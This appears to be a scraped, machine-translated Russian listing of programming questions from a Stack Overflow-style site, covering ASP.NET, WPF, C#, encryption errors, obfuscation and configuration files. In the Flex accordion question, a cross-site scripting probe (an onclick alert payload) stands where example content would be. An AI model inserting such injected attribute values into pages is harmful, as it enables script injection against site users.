OK, я гуглил это и уже ожидал большой жир NO! ! Но я подумал, что должен спросить, так как я знаю, что иногда могут быть странные маленькие gem знания, скрывающиеся в головах людей ^_^

Я работаю над некоторыми упражнениями в книге для изучения, и это конкретное упражнение-пользовательские элементы управления. Я собрал элемент управления и хотел бы установить для него DefaultEvent (сделав это для предыдущих элементов управления), поэтому, когда я дважды щелкаю по нему, созданное событие по умолчанию-это то, что я указываю.

NOTE: это стандартный пользовательский элемент управления (.ascx), NOT пользовательский визуализированный элемент управления.

текущий код

Вот определение события класса &:

[System.ComponentModel.DefaultEvent("OKClicked")]
public partial class AddressBox : System.Web.UI.UserControl
{
    public event EventHandler OKClicked;

текущий результат

Теперь, когда я дважды щелкаю элемент управления, когда он находится на странице ASPX, создается следующее:

    protected void AddressBox1_Load(object sender, EventArgs e)
    {

    }

Не совсем то, что я ожидал! Итак, мой вопрос:

Можно ли определить DefaultEvent для UserControl? Это хак? Если это не поддерживается, почему?


Примечание: как мы помещаем подчеркивания в код? Кажется, я не могу поставить и избежать char?

c#   asp.net   user-controls   attributes    

509   2   18:21, 9th August, 2020


Сортировка составной коллекции

Таким образом, WPF не поддерживает стандартное поведение сортировки или фильтрации для представлений CompositeCollections, так что было бы лучше всего решить эту проблему.

Существует две или более коллекций объектов различных типов. Вы хотите объединить их в единую сортируемую и фильтруемую коллекцию (без необходимости вручную выполнять сортировку или фильтр).

Один из рассмотренных мною подходов заключается в создании новой коллекции объектов с несколькими основными свойствами, включая те, по которым я хотел бы отсортировать коллекцию, и экземпляр объекта каждого типа.

class MyCompositeObject
{
    enum           ObjectType;
    DateTime       CreatedDate;
    string         SomeAttribute;
    myObjectType1  Obj1;
    myObjectType2  Obj2;
{
class MyCompositeObjects : List<MyCompositeObject> { }

А затем пройдите через мои две коллекции объектов, чтобы построить новую составную коллекцию. Очевидно, что это немного грубый метод, но он будет работать. Я получил бы все стандартные функции сортировки и фильтрации представлений в моей новой коллекции составных объектов, и я мог бы поместить в нее шаблон данных для правильного отображения элементов списка в зависимости от того, какой тип фактически хранится в этом составном элементе.

Какие есть предложения, чтобы сделать это более элегантным способом?

c#   .net   wpf   data-binding   collections    

444   3   23:52, 14th August, 2020


Простая анимация в WinForms

Представьте, что вы хотите анимировать какой-то объект на WinForm. Вы настраиваете таймер для обновления состояния или модели и переопределения события рисования формы. Но с этого момента, каков лучший способ постоянно перекрашивать форму для анимации?

  • Аннулировать форму, как только вы закончите рисовать?
  • Установить второй таймер и аннулировать форму на регулярной основе?
  • Может быть, в этом деле есть какая-то общая закономерность?
  • Есть ли какие-нибудь полезные классы .NET, чтобы помочь?

Каждый раз, когда мне нужно это сделать, я обнаруживаю новый метод с новым недостатком. Каковы опыт и рекомендации сообщества SO?

.net   winforms   animation    

554   3   09:43, 23rd August, 2020


Варианты лицензирования с открытым исходным кодом для приложения ASP.NET MVC?

Я работаю над личным проектом в ASP.NET MVC, который планирую сделать открытым исходным кодом. В прошлом у меня было открыто довольно много PHP сценариев и UNIX-основанных материалов. Для них я обычно шел с лицензией стиля BSD/Apache, если только я не включал библиотеку, которая препятствовала этому. На стороне Linux/PHP вещей это обычно означало что-то, что было GPL-ed, таким образом, все еще приводя к довольно четкой договоренности.

Однако для этого проекта я пытаюсь выяснить, какие лицензии вообще можно применить к этому проекту, и не нахожу никакого хорошего ресурса, чтобы ответить на этот вопрос. Я знаю, что единственный "real" ответ на этот вопрос будет связан с адвокатом. Однако, поскольку это не то, что принесет доход, если я собираюсь запустить $1000 в проект, я скорее найму графического дизайнера или эксперта по юзабилити, чтобы получить пропуск в приложении, чем заплачу адвокату.

Этот конкретный проект также использует Subsonic для доступа к базе данных и Argotic для разбора RSS, что еще больше усложняет проблему.

Я знаю, что мне разрешено использовать все эти части и что я могу перераспределить свой проект, который использует их все. Однако то, что у меня осталось, - это путаница в отношении того, что полученный проект может/должен быть лицензирован.

Я, вероятно, могу договориться о своем пути через лабиринт для бит Subsonic и Argotic, потому что они уже находятся под лицензиями с открытым исходным кодом, но я не могу быть единственным, кто пытается выяснить, какую лицензию я могу применить к проекту, который я пишу поверх ASP.NET MVC.

В ответ на комментарии:

Я ни в чем не виноват. Я просто пытаюсь вложить ту же заботу в лицензирование и распространение этого конечного приложения, что и в архитектуру и разработку его. Кроме того, я наблюдал, как разрушаются жизни из-за того, что сегодня не обращал внимания на возможно византийские законы об интеллектуальной собственности в книгах.

И, честно говоря, я действительно получил неприятное письмо в прошлом от адвоката компонента с открытым исходным кодом, который я включил в свой собственный проект с открытым исходным кодом, но использовал лицензию, которой они не были довольны.

К сожалению, "an open-source license" не является более конкретным в юридическом смысле, чем выражение "just use a web programming language and you'll be fine". GPL явно является одной из самых популярных лицензий с открытым исходным кодом, а также одной из немногих, которые, на первый взгляд, не могут быть применены к ASP.NET MVC приложениям. Мне интересно, существует ли существующая лицензия, которая может быть "compiled" с другими лицензиями компонентов, которые я использую, не вызывая юридической ошибки "compiler".

Я не говорю, что ответ прост (это не так). Я задал этот вопрос, потому что искренне заинтересован в ответе, который приходит с точки зрения тщательного изучения вопроса. Когда я впервые опубликовал его, я полностью ожидал, что он останется без ответа в течение длительного времени, потому что это не простой вопрос.

asp.net-mvc   open-source   subsonic   licensing   argotic    

635   7   02:56, 27th August, 2020


Настраиваемое Диалоговое Окно Проекта Установки Visual Studio

Я создал настраиваемое диалоговое окно для проекта установки Visual Studio с помощью описанных ниже действий здесь

Теперь у меня есть combobox в одном из моих диалогов. Я хочу заполнить combobox списком всех экземпляров сервера SQL, работающих в локальной сети. Это тривиально, чтобы получить список серверов ... но я совершенно не понимаю, как заставить их отображаться в combobox. Я был бы признателен Вам за помощь, и некоторый код также может быть хорошим, поскольку я новичок :).

.net   visual-studio   windows-installer   installation   projects    

505   2   20:20, 6th August, 2020


Sharepoint Вики

Хорошо, я видел несколько сообщений, которые упоминают несколько других сообщений о том, что не используют SP Вики, потому что они отстой.

Поскольку мы рассматриваем выполнение нашей wiki в SP, мне нужно знать, почему мы не должны делать это для группы из 6 разработчиков автоматизации, чтобы документировать шаги в различных автоматизированных процессах и изменения, которые должны быть сделаны время от времени.

sharepoint   automation   sharepoint-wiki    

517   17   04:55, 3rd August, 2020


Ускорение работы веб-сайта или приложения ASP.Net

У меня есть Ajax.Net включен ASP.Net 2.0 веб-сайт. Хостинг как для сайта, так и для базы данных находится вне моего контроля, как и схема базы данных. При тестировании на аппаратном обеспечении я действительно контролирую сайт хорошо работает, однако на аппаратном обеспечении клиента есть заметные задержки при перезагрузке или смене страниц.

Что я хотел бы сделать, так это сделать мою заявку как можно более компактной и быстрой, когда я ее доставлю. Одна из идей заключается в том, чтобы установить даты истечения срока действия для всех статических ресурсов сайта, чтобы они не вызывались при загрузке страницы. Под ресурсами я подразумеваю изображения, связанные таблицы стилей и исходные файлы JavaScript. Есть ли простой способ сделать это?

Какие еще существуют способы оптимизации веб-сайта .Net?

UPDATE: Я запустил YSlow на сайте, и области, где я получаю удар сильнее всего, находятся в количестве загружаемых JavaScript и таблиц стилей (23 JS файла и 5 таблиц стилей). Все, кроме одного (основная таблица стилей), были вставлены Ajax.net и Asp. Почему их так много?

asp.net   ajax   optimization   performance    

500   12   07:35, 4th August, 2020


Как перегрузить std::swap()

std::swap() используется многими контейнерами std (такими как std::list и std::vector ) во время сортировки и даже назначения.

Но реализация std swap() является очень обобщенной и довольно неэффективной для пользовательских типов.

Таким образом, эффективность может быть получена путем перегрузки std::swap() с помощью специальной реализации пользовательского типа. Но как вы можете реализовать его так, чтобы он был использован контейнерами std?

c++   performance   optimization   stl   c++-faq    

524   4   21:43, 23rd August, 2020


Каковы наиболее важные функциональные различия между C# и VB.NET?

Конечно, есть разница в общем синтаксисе, но какие еще критические различия существуют? Есть же какие -то различия, верно?

c#   vb.net   comparison    

560   15   02:16, 23rd August, 2020


Как мне перестроить аккордеон Adobe Flex, чтобы включить кнопку в каждый заголовок холста?

Вот пример кода для моего аккордеона:

<mx:Accordion x="15" y="15" width="230" height="599" styleName="myAccordion">
    <mx:Canvas id="pnlSpotlight" label="SPOTLIGHT" height="100%" width="100%" horizontalScrollPolicy="off">
        <mx:VBox width="100%" height="80%" paddingTop="2" paddingBottom="1"  verticalGap="1">
            <mx:Repeater id="rptrSpotlight" dataProvider="{aSpotlight}">            
                <sm:SmallCourseListItem 
                    viewClick="PlayFile(event.currentTarget.getRepeaterItem().fileID);"
                    Description="{rptrSpotlight.currentItem.fileDescription}"
                    FileID = "{rptrSpotlight.currentItem.fileID}"   
                    detailsClick="{detailsView.SetFile(event.currentTarget.getRepeaterItem().fileID,this)}" 
                    Title="{rptrSpotlight.currentItem.fileTitle}"
                    FileIcon="{iconLibrary.getIcon(rptrSpotlight.currentItem.fileExtension)}" />
            </mx:Repeater>
        </mx:VBox>
    </mx:Canvas>
</mx:Accordion>

Я хотел бы включить кнопку в каждый заголовок, например:

wishful" onclick="alert('xss')

flex   actionscript-3    

470   2   10:11, 15th August, 2020


Дебаты по дизайну: каковы хорошие способы хранения и управления версионными объектами?

Я намеренно оставляю это довольно расплывчатым на первый взгляд. Я ищу обсуждения и какие вопросы важны больше, чем я ищу трудные ответы.

Я нахожусь в середине разработки приложения, которое делает что-то вроде управления портфелем. Дизайн, который у меня есть до сих пор, - это

  • Проблема: проблема, которую необходимо решить
  • Решение: предлагаемое решение одной или нескольких проблем
  • Отношение: отношение между двумя проблемами, двумя решениями или проблемой и решением. Далее разбивается на:
    • Родитель-ребенок - своего рода категоризация / иерархия дерева
    • Перекрытие-степень, в которой два решения или две проблемы действительно решают одну и ту же концепцию
    • Адреса-степень, в которой проблема обращается к решению

Мой вопрос касается временной природы этих вещей. Проблемы возникают, а затем исчезают. Решения имеют ожидаемую дату разрешения, но она может быть изменена по мере их разработки. Степень взаимосвязи может меняться с течением времени по мере развития проблем и решений.

Итак, вопрос: каков наилучший дизайн для версирования этих вещей, чтобы я мог получить как текущую, так и историческую перспективу своего портфолио?

Позже: возможно, я должен сделать это более конкретным вопросом, хотя ответ @Eric Beard стоит того.

Я рассмотрел три проекта баз данных. Я буду достаточно каждого, чтобы показать свои недостатки. Мой вопрос: Что выбрать, или вы можете придумать что-то лучше?

1: проблемы (и отдельно, решения) являются самореферентными в управлении версиями.

table problems
  int id | string name | text description | datetime created_at | int previous_version_id

  foreign key previous_version_id -> problems.id

Это проблематично, потому что каждый раз, когда я хочу новую версию, я должен дублировать всю строку, включая этот длинный столбец description .

2: Создайте новый тип отношений: версия.

table problems
  int id | string name | text description | datetime created_at

Это просто перемещает отношения из таблиц проблем и решений в таблицу отношений. Та же проблема дублирования, но, возможно, немного "cleaner", так как у меня уже есть абстрактная концепция отношений.

3: Используйте более Субверсионную структуру; переместите все атрибуты проблемы и решения в отдельную таблицу и версируйте их.

table problems
  int id

table attributes
  int id | int thing_id | string thing_type | string name | string value | datetime created_at | int previous_version_id

  foreign key (thing_id, thing_type) -> problems.id or solutions.id
  foreign key previous_version_id -> attributes.id

Это означает, что для загрузки текущей версии проблемы или решения я должен извлечь все версии атрибута, отсортировать их по дате, а затем использовать самую последнюю. Это может быть не так уж и страшно. Что кажется мне действительно плохим, так это то, что я не могу проверить эти атрибуты в базе данных. Этот столбец value должен быть свободным текстом. Я могу сделать столбец name ссылкой на отдельную таблицу attribute_names , которая имеет столбец type ,но это не заставляет правильный тип в таблице attributes .

еще позже: ответ на комментарии @Eric Beard о внешних ключах с несколькими таблицами:

Увы, то, что я описал, является упрощенным: есть только два типа вещей (проблемы и решения). На самом деле у меня есть около 9 или 10 различных типов вещей, поэтому у меня будет 9 или 10 столбцов внешних ключей под вашей стратегией. Я хотел использовать наследование одной таблицы, но эти вещи имеют так мало общего, что было бы крайне расточительно объединять их в одну таблицу.

architecture   time   rdbms   versions    

494   5   12:22, 29th August, 2020


Как я могу создавать виртуальные машины в рамках процесса сборки с использованием MSBuild и MS Virtual Server и/или Hyper-V Server Virtualization?

То, что я хотел бы сделать, - это создать чистый образ виртуальной машины в качестве вывода сборки приложения.

Таким образом, будет создана новая виртуальная машина (с шаблоном все в порядке, с установленным OS и некоторым базовым программным обеспечением) --- новый веб-сайт будет создан в IIS, а вывод сборки веб-приложения будет скопирован в расположение на жестком диске виртуальной машины, и IIS настроен правильно, VM запустится и запустится.

Я знаю, что есть задачи MSBuild для сценария всех административных действий в IIS, но как вы пишете все действия с виртуальными машинами? В частности, создание новой виртуальной машины из шаблона, ее уникальное имя, запуск, настройка и т. д...

В частности, мне было интересно, успешно ли кто-либо реализовал любой сценарий VM как часть процесса сборки.

Обновление: я предполагаю, что с Hyper-V существует другой набор библиотек / APIs для создания сценариев виртуальных машин, кто-нибудь играл с этим? И кто-нибудь с реальным практическим опытом делает что-то подобное?

msbuild   virtualization   hyper-v    

396   2   08:34, 7th August, 2020


В Visual Studio вы должны быть членом группы "пользователи" отладка или администраторов, чтобы начать отладку. А что, если вы есть, но это не работает?

На моей машине Windows XP Visual Studio 2003 2005 и 2008 Все жалуются, что я не могу начать отладку своего веб-приложения , потому что я должен быть членом группы отладочных пользователей или группы администраторов. Итак, я администратор, и я добавил пользователей отладки на всякий случай, и он все еще жалуется.

Если не считать переформатирования моей машины и запуска заново, кто-нибудь сталкивался с этим и исправлял его [с помощью какой-то недокументированной команды]?

visual-studio   debugging   permissions    

524   4   16:27, 1st August, 2020


лучший способ сохранения данных в веб-службе .NET

У меня есть веб-служба, которая запрашивает данные из этого файла json, но я не хочу, чтобы веб-служба каждый раз обращалась к этому файлу. Я думаю, что, возможно, я могу хранить данные где-то еще (возможно, в памяти), чтобы веб-служба могла просто получить данные оттуда в следующий раз, когда она попытается запросить те же самые данные. Я вроде бы понимаю, что нужно сделать, но я просто не знаю, как это сделать на самом деле. Как мы сохраняем данные в веб-сервисе?

Обновление: оба предложения, кэширование и использование статических переменных, выглядят хорошо. Может быть, мне стоит использовать оба варианта, чтобы сначала посмотреть на один, а если его там нет, то использовать второй, если его там тоже нет, тогда я посмотрю на файл json.

.net   web-services   json   memory   persistence    

408   4   11:53, 19th August, 2020


Почему плохой пароль вызывает "заполнение недопустимо и не может быть удалено"?

Мне нужно было какое-то простое строковое шифрование, поэтому я написал следующий код (с большим количеством "inspiration" отсюда ):

    // create and initialize a crypto algorithm
    private static SymmetricAlgorithm getAlgorithm(string password) {
        SymmetricAlgorithm algorithm = Rijndael.Create();
        Rfc2898DeriveBytes rdb = new Rfc2898DeriveBytes(
            password, new byte[] {
            0x53,0x6f,0x64,0x69,0x75,0x6d,0x20,             // salty goodness
            0x43,0x68,0x6c,0x6f,0x72,0x69,0x64,0x65
        }
        );
        algorithm.Padding = PaddingMode.ISO10126;
        algorithm.Key = rdb.GetBytes(32);
        algorithm.IV = rdb.GetBytes(16);
        return algorithm;
    }

    /* 
     * encryptString
     * provides simple encryption of a string, with a given password
     */
    public static string encryptString(string clearText, string password) {
        SymmetricAlgorithm algorithm = getAlgorithm(password);
        byte[] clearBytes = System.Text.Encoding.Unicode.GetBytes(clearText);
        MemoryStream ms = new MemoryStream();
        CryptoStream cs = new CryptoStream(ms, algorithm.CreateEncryptor(), CryptoStreamMode.Write);
        cs.Write(clearBytes, 0, clearBytes.Length);
        cs.Close();
        return Convert.ToBase64String(ms.ToArray());
    }

    /*
     * decryptString
     * provides simple decryption of a string, with a given password
     */
    public static string decryptString(string cipherText, string password) {
        SymmetricAlgorithm algorithm = getAlgorithm(password);
        byte[] cipherBytes = Convert.FromBase64String(cipherText);
        MemoryStream ms = new MemoryStream();
        CryptoStream cs = new CryptoStream(ms, algorithm.CreateDecryptor(), CryptoStreamMode.Write);
        cs.Write(cipherBytes, 0, cipherBytes.Length);
        cs.Close();            
        return System.Text.Encoding.Unicode.GetString(ms.ToArray());
    }

Код, похоже, работает нормально, за исключением того, что при расшифровке данных с неверным ключом я получаю CryptographicException - "Padding is invalid and cannot be removed" - на строке cs.Close() в decryptString.

пример кода:

    string password1 = "password";
    string password2 = "letmein";
    string startClearText = "The quick brown fox jumps over the lazy dog";
    string cipherText = encryptString(startClearText, password1);
    string endClearText = decryptString(cipherText, password2);     // exception thrown

Мой вопрос в том, можно ли этого ожидать? Я бы подумал, что расшифровка с неверным паролем просто приведет к бессмысленному выходу, а не к исключению.

c#   .net   exception   encryption    

654   9   10:32, 7th August, 2020


Как создать полностью совместимый с браузером висячий стиль отступа в CSS в промежутке

Единственное, что я нашел, было:;

.hang {
    text-indent: -3em;
    margin-left: 3em;
} 

Единственный способ для этого-поместить текст в абзац, который вызывает эти ужасно неприглядные дополнительные строки. Я бы предпочел просто иметь их в <span class="hang"></span> -м типе вещей.

Я также ищу способ дальнейшего отступа, чем просто одноуровневое подвешивание. Использование абзацев для укладки отступов не работает.

html   css   indentation    

433   3   16:03, 28th August, 2020


Синглтоны: хороший дизайн или костыль?

Синглеты-это горячо обсуждаемый шаблон дизайна,поэтому мне интересно, что о них думает сообщество Stack Overflow.

Пожалуйста, укажите причины для вашего мнения, а не только "Singletons are for lazy programmers!"

Вот довольно хорошая статья по этому вопросу, хотя она и против использования Синглетов: scientificninja.com: производительность-синглтоны .

Есть ли у кого-нибудь еще хорошие статьи о них? Может быть, в поддержку Синглетов?

language-agnostic   design-patterns   singleton    

468   4   07:47, 10th August, 2020


Что вы используете в качестве хорошей альтернативы командной системе?

Я хотел бы оценить, какие решения используют другие люди, чтобы получить функциональность командной системы. Мы все знаем, что командная система может быть дорогой для некоторых из нас. Я знаю, что они предлагают небольшую версию team edition с пятью лицензиями и подпиской MSDN, но что делать, если ваша команда больше пяти или вы не хотите использовать Team System?

svn   tfs   cruisecontrol.net   fogbugz    

502   12   09:38, 25th August, 2020


sn.exe сбой с сообщением об ошибке отказано в доступе

Я получаю сообщение об ошибке Access is Denied, когда использую инструмент strong name для создания нового ключа для подписи .NET assembly. Это прекрасно работает на машине Windows XP, но не работает на моей машине Vista.

PS C:\users\brian\Dev\Projects\BELib\BELib> sn -k keypair.snk

Microsoft (R) .NET Framework Strong Name Utility  Version 3.5.21022.8
Copyright (c) Microsoft Corporation.  All rights reserved.

Failed to generate a strong name key pair -- Access is denied.

Что вызывает эту проблему и как ее можно исправить?


Вы запускаете свой PowerShell или Командная строка как администратор? Я оказалось, что это первое место, чтобы смотрите пока не привыкнете к пользовательскому доступу Управление или путем поворота доступа пользователя Управление выключено.

Да, я пробовал запускать PS и обычную командную строку от имени администратора. Появляется то же самое сообщение об ошибке.

.net   strongname   sn.exe    

496   5   00:28, 4th August, 2020


OpenID обмен атрибутами-должен ли я его использовать?

Мой сайт будет использовать только OpenID для аутентификации. Я хотел бы вытащить сведения о пользователе через обмен атрибутами, но обмен атрибутами, похоже, вызвал много горя для StackOverflow.

Каково текущее состояние дел в отрасли? Делает ли любой провайдер OpenID достойную работу по обмену атрибутами?

Должен ли я просто держаться подальше от OpenID attribute exchange вообще?

Как я могу справиться с несогласованной поддержкой функциональности?

authentication   openid    

517   2   10:46, 3rd August, 2020


Как вы регистрируете ошибки (исключения) в ваших приложениях ASP.NET?

Я ищу лучший способ регистрации ошибок в приложении ASP.NET. Я хочу иметь возможность получать электронные письма, когда в моем приложении возникают ошибки, с подробной информацией об исключении и текущем запросе.

В моей компании мы привыкли иметь свой собственный ErrorMailer, ловя все в Global.asax Application_Error. Он был "Ok", но не очень гибким и настраиваемым.

Мы недавно переключились на NLog. Это гораздо более настраиваемо, мы можем определить различные цели для ошибок, фильтровать их, буферизировать их (еще не пробовали). Это очень хорошее улучшение.

Но недавно я обнаружил, что для этой цели в фреймворке .Net есть целое пространство имен : System.Web.Management , и его можно настроить в разделе healthMonitoring web.config.

Вы когда-нибудь работали с мониторингом здоровья .Net? Каково ваше решение для регистрации ошибок?

asp.net   error-handling   nlog   health-monitoring    

596   8   06:27, 17th August, 2020


Оплатить vmware или использовать открытые исходники?

Что следует использовать для виртуализации рабочего стола, vmx, xen или vmware?

Должен работать на хосте linux или windows, извините virtual pc.

@Derek парк: бесплатно, как в речи, а не пиво. Я хочу иметь возможность сделать новую виртуальную машину из моих собственных лицензионных копий windows, потому что vmware-это довольно дорого.

virtualization    

467   7   02:33, 8th August, 2020


Обработка часовых поясов в хранилище?

Хранить все в GMT?

Хранить все так, как оно было введено со встроенным смещением?

Делайте математику каждый раз, когда вы оказываете?

Отображение относительного времени "1 минут назад"?

localization   internationalization   timezone   globalization    

445   3   09:54, 1st August, 2020


Почему sqlite3-ruby-1.2.2 не работает на OS X?

Я бегу

  • OS X 10.5,
  • Ruby 1.8.6,
  • Rails 2.1,
  • sqlite3-ruby 1.2.2

и я получаю следующую ошибку при попытке сгрести db:migrate на приложение, которое работает найти подключен к MySQL.

грабли прервана! нет такого файла для загрузки -- sqlite3 / database

ruby-on-rails   ruby   sqlite    

418   2   05:39, 28th August, 2020


Как вы делаете системную интеграцию?

Мне интересно, как разные люди решают интеграцию систем. У меня есть ощущение, что в последние годы все больше и больше работы ушло на интеграцию систем и что потребность в такого рода работе также будет возрастать.

Мне интересно, решаете ли вы ее, разрабатывая свои собственные небольшие сервисы, которые затем подключаются, или используете какой-то продукт (WebSphere, BizTalk, мул и т. д.). Я также думаю, что было бы интересно узнать, как такие решения управляются и поддерживаются (как вы решаете проблемы безопасности, инструментирования и т. д.), Какие проблемы вы испытывали с вашим решением и так далее.

architecture   system-integration    

524   5   13:01, 3rd August, 2020


Трубопроводы пароль с помощью smbpasswd

Как я могу передать новый пароль в smbpasswd, чтобы автоматизировать процесс установки.

automation   installation   debian   samba    

480   7   05:19, 12th August, 2020


Вызов базового конструктора в C#

Если я наследую от базового класса и хочу передать что-то из конструктора унаследованного класса конструктору базового класса, как это сделать?

Например,

Если я унаследовал от класса исключений я хочу сделать что-то вроде этого:

class MyExceptionClass : Exception
{
     public MyExceptionClass(string message, string extraInfo)
     {
         //This is where it's all falling apart
         base(message);
     }
}

В основном я хочу иметь возможность передать строковое сообщение в базовый класс исключений.

c#   inheritance   constructor    

497   10   00:00, 3rd August, 2020


Стоит ли мне беспокоиться о том, что мой код .NET будет запутан?

Я уверен, что многие читатели на SO использовали отражатель .NET Лутца Редера для декомпиляции своего кода .NET. Я был поражен тем, насколько точно наш исходный код может быть восстановлен из наших скомпилированных сборок.

Мне было бы интересно узнать, сколько из вас используют обфускацию и для каких продуктов?

Я уверен, что это гораздо более важный вопрос для, скажем, приложения .NET, которое вы предлагаете для загрузки через интернет, в отличие от того, что построено специально для конкретного клиента.

.net   obfuscation    

491   10   17:35, 4th August, 2020


Вы запутали свой коммерческий код Java?

Интересно, использует ли кто-нибудь коммерческие/бесплатные java обфускаторы на своем собственном коммерческом продукте. Я знаю только об одном проекте, который на самом деле имел запутывающий шаг в шаге сборки ant для релизов.

Вы что-то путаете? И если это так, то почему вы все путаете?

Действительно ли это способ защитить код или это просто лучшее чувство для developers/managers?

edit: хорошо, я буду точен в своей точке зрения: вы запутываете, чтобы защитить свой IP (ваши алгоритмы, работу, которую вы вложили в свой продукт)? Я не буду запутывать по соображениям безопасности, это не кажется правильным. Поэтому я говорю только о защите вашего кода приложений от конкурентов.

@staffan имеет хороший смысл:

Причина, по которой следует держаться подальше от цепного потока кода, заключается в том, что некоторые из этих изменений делают невозможной эффективную оптимизацию кода для JVM. Фактически это приведет к снижению производительности вашего приложения.

java   obfuscation    

590   7   02:37, 1st August, 2020


Настройка VisualSVN сервера для использования _svn вместо .svn

У нас была проблема с нашим сервером сборки, не проверяющим изменения из системы управления версиями, несмотря на признание того, что там были изменения.

Он был прослежен до контрольной папки (не уверен, что это настоящее имя), существующие рабочие сборки использовали _svn. Очистка рабочей папки вынудила новую полную проверку, и я заметил, что теперь Контрольная папка находится .svn. Похоже, что первоначально наши процедуры интеграции проверяли код с помощью _svn, но теперь он используется .svn.

svn.exe используется во время интеграции с VisualSVN сервера можно ли настроить это для повторного использования _svn?

Как оригинальные рабочие копии использовали _svn, я не знаю! - мы только когда-либо использовали сервер VisualSVN и не меняли его.

Мы настроили TortoiseSVN для использования _svn, следуя рекомендации, что это лучше работает для Visual Studio, а также установили TortoiseSVN на сервере сборки, если он когда-нибудь понадобится. Может ли это быть причиной?

И действительно ли это необходимо? Поскольку MSBuild является Microsoft, рекомендуется ли это, как и для Visual Studio?

svn   version-control   visualsvn-server    

408   4   09:07, 1st August, 2020


FileNotFoundException для mscorlib.XmlSerializers.DLL, который не существует

Я использую XmlSerializer для десериализации определенного типа в mscorelib.dll

XmlSerializer ser = new XmlSerializer( typeof( [.Net type in System] ) );
return ([.Net type in System]) ser.Deserialize( new StringReader( xmlValue ) );

Это выбрасывает пойманный FileNotFoundException , когда загружается assembly:

"Не удалось загрузить файл или assembly 'mscorlib.XmlSerializers, Версия=2.0.0.0, культура=нейтральная, PublicKeyToken=b77a5c561934e089' или одна из его зависимостей. Система не удается найти указанный файл."

FusionLog:

=== Pre-bind state information ===
LOG: User = ###
LOG: DisplayName = mscorlib.XmlSerializers, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089, processorArchitecture=x86
 (Fully-specified)
LOG: Appbase = file:///C:/localdir
LOG: Initial PrivatePath = NULL
Calling assembly : System.Xml, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089.
===
LOG: This bind starts in default load context.
LOG: Using application configuration file: C:\localdir\bin\Debug\appname.vshost.exe.Config
LOG: Using machine configuration file from c:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\config\machine.config.
LOG: Post-policy reference: mscorlib.XmlSerializers, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089, processorArchitecture=x86
LOG: Attempting download of new URL file:///C:/localdir/bin/Debug/mscorlib.XmlSerializers.DLL.
LOG: Attempting download of new URL file:///C:/localdir/bin/Debug/mscorlib.XmlSerializers/mscorlib.XmlSerializers.DLL.
LOG: Attempting download of new URL file:///C:/localdir/bin/Debug/mscorlib.XmlSerializers.EXE.
LOG: Attempting download of new URL file:///C:/localdir/bin/Debug/mscorlib.XmlSerializers/mscorlib.XmlSerializers.EXE.

Насколько я знаю, нет mscorlib.XmlSerializers.DLL, я думаю, что имя DLL было автоматически сгенерировано .Net, ищущим сериализатор.

У вас есть возможность создать myApplication.XmlSerializers.DLL при компиляции для оптимизации сериализации, поэтому я предполагаю, что это часть проверки фреймворка.

Проблема в том, что это, по - видимому, вызывает задержку в загрузке приложения-кажется, что оно зависает на несколько секунд в этот момент.

Есть идеи, как этого избежать или ускорить?

c#   .net   serialization   assemblies    

537   3   03:47, 6th August, 2020


Какая самая страшная авария с базой данных произошла с вами на производстве?

Например: обновление всех строк таблицы customer, поскольку вы забыли добавить предложение where.

  1. На что это было похоже, осознавая это и сообщая об этом своим коллегам или клиентам?
  2. Какие уроки были извлечены?

database   production    

446   18   03:59, 5th August, 2020


Файл конфигурации приложения

Итак, я не хочу начинать здесь священную войну, но мы находимся в процессе консолидации того, как мы обрабатываем файлы конфигурации наших приложений, и мы изо всех сил пытаемся принять решение о наилучшем подходе. На данный момент каждое приложение, которое мы распространяем, использует свои собственные специальные конфигурационные файлы, будь то файлы свойств (ini style), XML или JSON (внутреннее использование только в данный момент!).

Большая часть нашего кода на данный момент является Java, поэтому мы смотрели на Apache Commons Config , но мы обнаружили, что он довольно многословен. Мы также посмотрели на XMLBeans,но похоже, что это очень много обмана. Я также чувствую, что меня подталкивают к формату XML, но мои клиенты и коллеги опасаются попробовать что-то другое. Я могу понять это с точки зрения клиента, все слышали о XML, но в конце концов, не следует ли использовать правильный инструмент для работы?

Какие форматы и библиотеки люди используют в производственных системах в наши дни, пытается ли кто-нибудь еще избежать налога на угловые скобки ?

Edit: действительно должно быть кроссплатформенное решение: Linux, Windows, Solaris и т. д. и выбор библиотеки, используемой для взаимодействия с конфигурационными файлами, так же важен, как и выбор формата.

java   xml   json   cross-platform   configuration-files    

554   15   20:52, 17th August, 2020


SVN редакция версии в .NET Assembly w/ из CC.NET

Есть ли какой-либо способ включить номер редакции репозитория SVN в строку версии A .NET assembly? Что-то вроде Major.Minor.SVNRev

Я видел упоминание о том, чтобы сделать это с чем-то вроде CC.NET (хотя на самом деле на ASP.NET), но есть ли способ сделать это без дополнительного программного обеспечения? Я делал подобные вещи в C/C++ перед использованием пакетных сценариев сборки, но это было сделано путем чтения номера версии, а затем сценарий выписывал файл под названием " ver.h " каждый раз с чем-то вроде:

#define MAJORVER 4
#define MINORVER 23
#define SOURCEVER 965

Затем мы будем использовать эти определения для создания строки версии.

Возможно ли что-то подобное?NET?

.net   svn   versioning    

565   8   05:01, 10th August, 2020


Проблема привязки данных ASP.Net AJAX toolkit MaskedEditExtender

У меня есть база данных, которая содержит дату, и мы используем MaskedEditExtender (MEE) и MaskedEditValidator, чтобы убедиться, что даты подходят. Тем не менее, мы хотим, чтобы администраторы могли войти и изменить данные (в частности, дату), если это необходимо.

Как я могу предварительно заполнить поле MEE значением базы данных, когда данные отображаются на странице? Я попытался использовать 'bind' в свойстве 'InitialValue', но он не заполняет textbox.

Спасибо.

asp.net   validation   asp.net-ajax    

459   2   16:24, 29th August, 2020


Учитывая N2 CMS, но беспокоился о производительности. Оправдано ли это?

Hy, кто-нибудь работал с системой управления контентом N2( http://www.codeplex.com/n2 ). Если да, то как он работает, производительность мудрая(при большой нагрузке)? Это кажется довольно простым и легким в использовании.

Адриан

asp.net   performance   .net-3.5   content-management-system   n2    

446   5   11:04, 24th August, 2020


Можно ли сериализовать объект типа C#?

Я пытаюсь сериализовать объект типа следующим образом:

Type myType = typeof (StringBuilder);
var serializer = new XmlSerializer(typeof(Type));
TextWriter writer = new StringWriter();
serializer.Serialize(writer, myType);

Когда я делаю это, вызов сериализации вызывает следующее исключение:

"Тип System.Text.StringBuilder не ожидался. Используйте XmlInclude или SoapInclude атрибут для указания типов, которые не являются известно статически."

